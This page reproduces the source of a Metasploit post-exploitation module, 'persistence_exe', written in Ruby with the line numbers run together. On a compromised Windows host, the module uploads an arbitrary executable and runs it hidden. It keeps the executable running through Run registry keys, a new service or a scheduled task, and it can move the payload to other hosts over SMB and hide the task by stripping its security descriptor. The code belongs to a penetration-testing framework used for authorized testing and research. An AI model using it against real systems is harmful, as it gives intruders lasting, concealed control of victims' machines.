Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/persistence_exe.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Common7include Msf::Post::File8include Msf::Post::Windows::Priv9include Msf::Post::Windows::Registry10include Msf::Post::Windows::Services11include Msf::Post::Windows::TaskScheduler1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Windows Manage Persistent EXE Payload Installer',18'Description' => %q{19This Module will upload an executable to a remote host and make it Persistent.20It can be installed as USER, SYSTEM, or SERVICE. USER will start on user login,21SYSTEM will start on system boot but requires privs. SERVICE will create a new service22which will start the payload. Again requires privs.23},24'License' => MSF_LICENSE,25'Author' => [ 'Merlyn drforbin Cousins <drforbin6[at]gmail.com>' ],26'Version' => '$Revision:1$',27'Platform' => [ 'windows' ],28'SessionTypes' => [ 'meterpreter'],29'Compat' => {30'Meterpreter' => {31'Commands' => %w[32core_channel_eof33core_channel_open34core_channel_read35core_channel_write36stdapi_sys_config_getenv37stdapi_sys_config_sysinfo38stdapi_sys_process_execute39]40}41},42'Notes' => {43'Stability' => [CRASH_SAFE],44'Reliability' => [REPEATABLE_SESSION],45'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]46}47)48)4950register_options(51[52OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM', 'SERVICE', 'TASK']]),53OptPath.new('REXEPATH', [true, 'The remote executable to upload and execute.']),54OptString.new('REXENAME', [true, 'The name to call exe on remote system', 'default.exe']),55OptBool.new('RUN_NOW', [false, 'Run the installed payload immediately.', true]),56], self.class57)5859register_advanced_options(60[61OptString.new('LocalExePath', [false, 'The local exe path to run. Use temp directory as default. ']),62OptString.new('RemoteExePath', [63false,64'The remote path to move the payload to. Only valid when the STARTUP option is set '\65'to TASK and the `ScheduleRemoteSystem` option is set. Use the same path than LocalExePath '\66'if not set.'67], conditions: ['STARTUP', '==', 'TASK']),68OptString.new('StartupName', [false, 'The name of service, registry or scheduled task. Random string as default.' ]),69OptString.new('ServiceDescription', [false, 'The description of service. Random string as default.' ])70]71)72end7374# Run Method for when run command is issued75#-------------------------------------------------------------------------------76def run77print_status("Running module against #{sysinfo['Computer']}")7879# Set vars80rexe = datastore['REXEPATH']81rexename = datastore['REXENAME']82host, _port = session.tunnel_peer.split(':')83@clean_up_rc = ''8485raw = create_payload_from_file rexe8687# Write script to %TEMP% on target88script_on_target = write_exe_to_target(raw, rexename)8990# Initial execution of script91target_exec(script_on_target) if datastore['RUN_NOW']9293case datastore['STARTUP'].upcase94when 'USER'95write_to_reg('HKCU', script_on_target)96when 'SYSTEM'97write_to_reg('HKLM', script_on_target)98when 'SERVICE'99install_as_service(script_on_target)100when 'TASK'101create_scheduler_task(script_on_target)102end103104clean_rc = log_file105file_local_write(clean_rc, @clean_up_rc)106print_status("Cleanup Meterpreter RC File: #{clean_rc}")107108report_note(host: host,109type: 'host.persistance.cleanup',110data: {111local_id: session.sid,112stype: session.type,113desc: session.info,114platform: session.platform,115via_payload: session.via_payload,116via_exploit: session.via_exploit,117created_at: Time.now.utc,118commands: @clean_up_rc119})120end121122# Function for creating log folder and returning log path123#-------------------------------------------------------------------------------124def log_file(log_path = nil)125# Get hostname126if datastore['STARTUP'] == 'TASK' && @cleanup_host127# Use the remote hostname when remote task creation is selected128# Cleanup will have to be performed on this remote host129host = @cleanup_host130else131host = session.sys.config.sysinfo['Computer']132end133134# Create Filename info to be appended to downloaded files135filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S')136137# Create a directory for the logs138logs = if log_path139::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))140else141::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))142end143144# Create the log directory145::FileUtils.mkdir_p(logs)146147# logfile name148logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + '.rc'149logfile150end151152# Function to execute script on target and return the PID of the process153#-------------------------------------------------------------------------------154def target_exec(script_on_target)155print_status("Executing script #{script_on_target}")156proc = session.sys.process.execute(script_on_target, nil, 'Hidden' => true)157print_good("Agent executed with PID #{proc.pid}")158@clean_up_rc << "kill #{proc.pid}\n"159proc.pid160end161162# Function to install payload in to the registry HKLM or HKCU163#-------------------------------------------------------------------------------164def write_to_reg(key, script_on_target)165nam = datastore['StartupName'] || Rex::Text.rand_text_alpha(rand(8..15))166print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")167if key168registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", nam, script_on_target, 'REG_SZ')169print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")170@clean_up_rc << "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{nam}'\n"171else172print_error('Error: failed to open the registry key for writing')173end174end175176# Function to install payload as a service177#-------------------------------------------------------------------------------178def install_as_service(script_on_target)179if is_system? || is_admin?180print_status('Installing as service..')181nam = datastore['StartupName'] || Rex::Text.rand_text_alpha(rand(8..15))182description = datastore['ServiceDescription'] || Rex::Text.rand_text_alpha(8)183print_status("Creating service #{nam}")184185key = service_create(nam, path: "cmd /c \"#{script_on_target}\"", display: description)186187# check if service had been created188if key != 0189print_error("Service #{nam} creating failed.")190return191end192193# if service is stopped, then start it.194service_start(nam) if datastore['RUN_NOW'] && service_status(nam)[:state] == 1195196@clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n"197else198print_error('Insufficient privileges to create service')199end200end201202# Function for writing executable to target host203#-------------------------------------------------------------------------------204def write_exe_to_target(rexe, rexename)205# check if we have write permission206# I made it by myself because the function filestat.writable? was not implemented yet.207if !datastore['LocalExePath'].nil?208209begin210temprexe = datastore['LocalExePath'] + '\\' + rexename211write_file_to_target(temprexe, rexe)212rescue Rex::Post::Meterpreter::RequestError213print_warning("Insufficient privileges to write in #{datastore['LocalExePath']}, writing to %TEMP%")214temprexe = session.sys.config.getenv('TEMP') + '\\' + rexename215write_file_to_target(temprexe, rexe)216end217218# Write to %temp% directory if not set LocalExePath219else220temprexe = session.sys.config.getenv('TEMP') + '\\' + rexename221write_file_to_target(temprexe, rexe)222end223224print_good("Persistent Script written to #{temprexe}")225@clean_up_rc << "rm #{temprexe.gsub('\\', '\\\\\\\\')}\n"226temprexe227end228229def write_file_to_target(temprexe, rexe)230fd = session.fs.file.new(temprexe, 'wb')231fd.write(rexe)232fd.close233end234235# Function to create executable from a file236#-------------------------------------------------------------------------------237def create_payload_from_file(exec)238print_status("Reading Payload from file #{exec}")239File.binread(exec)240end241242def move_to_remote(remote_host, script_on_target, remote_path)243print_status("Moving payload file to the remote host (#{remote_host})")244245# Translate local path to remote path. Basically, change any "<drive letter>:" to "<drive letter>$"246remote_path = remote_path.split('\\').delete_if(&:empty?)247remote_exe = remote_path.pop248remote_path[0].sub!(/^(?<drive>[A-Z]):/i, '\k<drive>$') unless remote_path.empty?249remote_path.prepend(remote_host)250remote_path = "\\\\#{remote_path.join('\\')}"251cmd = "net use #{remote_path}"252if datastore['ScheduleUsername'].present?253cmd << " /user:#{datastore['ScheduleUsername']}"254cmd << " #{datastore['SchedulePassword']}" if datastore['SchedulePassword'].present?255end256257vprint_status("Executing command: #{cmd}")258result = cmd_exec_with_result(cmd)259unless result[1]260print_error(261'Unable to connect to the remote host. Check credentials, `RemoteExePath`, '\262"`LocalExePath` and SMB version compatibility on both hosts. Error: #{result[0]}"263)264return false265end266267# #move_file helper does not work when the target is a remote host and the session run as SYSTEM. It works with #cmd_exec.268result = cmd_exec_with_result("move /y \"#{script_on_target}\" \"#{remote_path}\\#{remote_exe}\"")269if result[1]270print_good("Moved #{script_on_target} to #{remote_path}\\#{remote_exe}")271else272print_error("Unable to move the file to the remote host. Error: #{result[0]}")273end274275result = cmd_exec_with_result("net use #{remote_path} /delete")276unless result[1]277print_warning("Unable to close the network connection with the remote host. This will have to be done manually. Error: #{result[0]}")278end279280return !!result281end282283TaskSch = Msf::Post::Windows::TaskScheduler284285def create_scheduler_task(script_on_target)286unless is_system? || is_admin?287print_error('Insufficient privileges to create a scheduler task')288return289end290291remote_host = datastore['ScheduleRemoteSystem']292print_status("Creating a #{datastore['ScheduleType']} scheduler task#{" on #{remote_host}" if remote_host.present?}")293294if remote_host.present?295remote_path = script_on_target296if datastore['RemoteExePath'].present?297remote_path = datastore['RemoteExePath'].split('\\').delete_if(&:empty?).join('\\')298remote_path = "#{remote_path}\\#{datastore['REXENAME']}"299end300return false unless move_to_remote(remote_host, script_on_target, remote_path)301302@cleanup_host = remote_host303@clean_up_rc = "rm #{remote_path.gsub('\\', '\\\\\\\\')}\n"304end305306task_name = datastore['StartupName'].present? ? datastore['StartupName'] : Rex::Text.rand_text_alpha(rand(8..15))307308print_status("Task name: '#{task_name}'")309if datastore['ScheduleObfuscationTechnique'] == 'SECURITY_DESC'310print_status('Also, removing the Security Descriptor registry key value to hide the task')311end312if datastore['ScheduleRemoteSystem'].present?313if Rex::Socket.dotted_ip?(datastore['ScheduleRemoteSystem'])314print_warning(315"The task will be created on the remote host #{datastore['ScheduleRemoteSystem']} and since "\316'the FQDN is not used, it usually takes some time (> 1 min) due to some DNS resolution'\317' happening in the background'318)319if datastore['ScheduleObfuscationTechnique'] != 'SECURITY_DESC'320print_warning(321'Also, since the \'ScheduleObfuscationTechnique\' option is set to '\322'SECURITY_DESC, it will take much more time to be executed on the '\323'remote host for the same reasons (> 3 min). Don\'t Ctrl-C, even if '\324'a session pops up, be patient or use a FQDN in `ScheduleRemoteSystem` option.'325)326end327end328@clean_up_rc = "# The 'rm' command won t probably succeed while you're interacting with the session\n"\329"# You should migrate to another process to be able to remove the payload file\n"\330"#{@clean_up_rc}"331end332333begin334task_create(task_name, remote_host.blank? ? script_on_target : remote_path)335rescue TaskSchedulerObfuscationError => e336print_warning(e.message)337print_good('Task created without obfuscation')338rescue TaskSchedulerError => e339print_error("Task creation error: #{e}")340return341else342print_good('Task created')343if datastore['ScheduleObfuscationTechnique'] == 'SECURITY_DESC'344@clean_up_rc << "reg setval -k '#{TaskSch::TASK_REG_KEY.gsub('\\') { '\\\\' }}\\\\#{task_name}' "\345"-v '#{TaskSch::TASK_SD_REG_VALUE}' "\346"-d '#{TaskSch::DEFAULT_SD}' "\347"-t 'REG_BINARY'#{" -w '64'" unless @old_os}\n"348end349end350351@clean_up_rc << "execute -H -f schtasks -a \"/delete /tn #{task_name} /f\"\n"352end353end354355356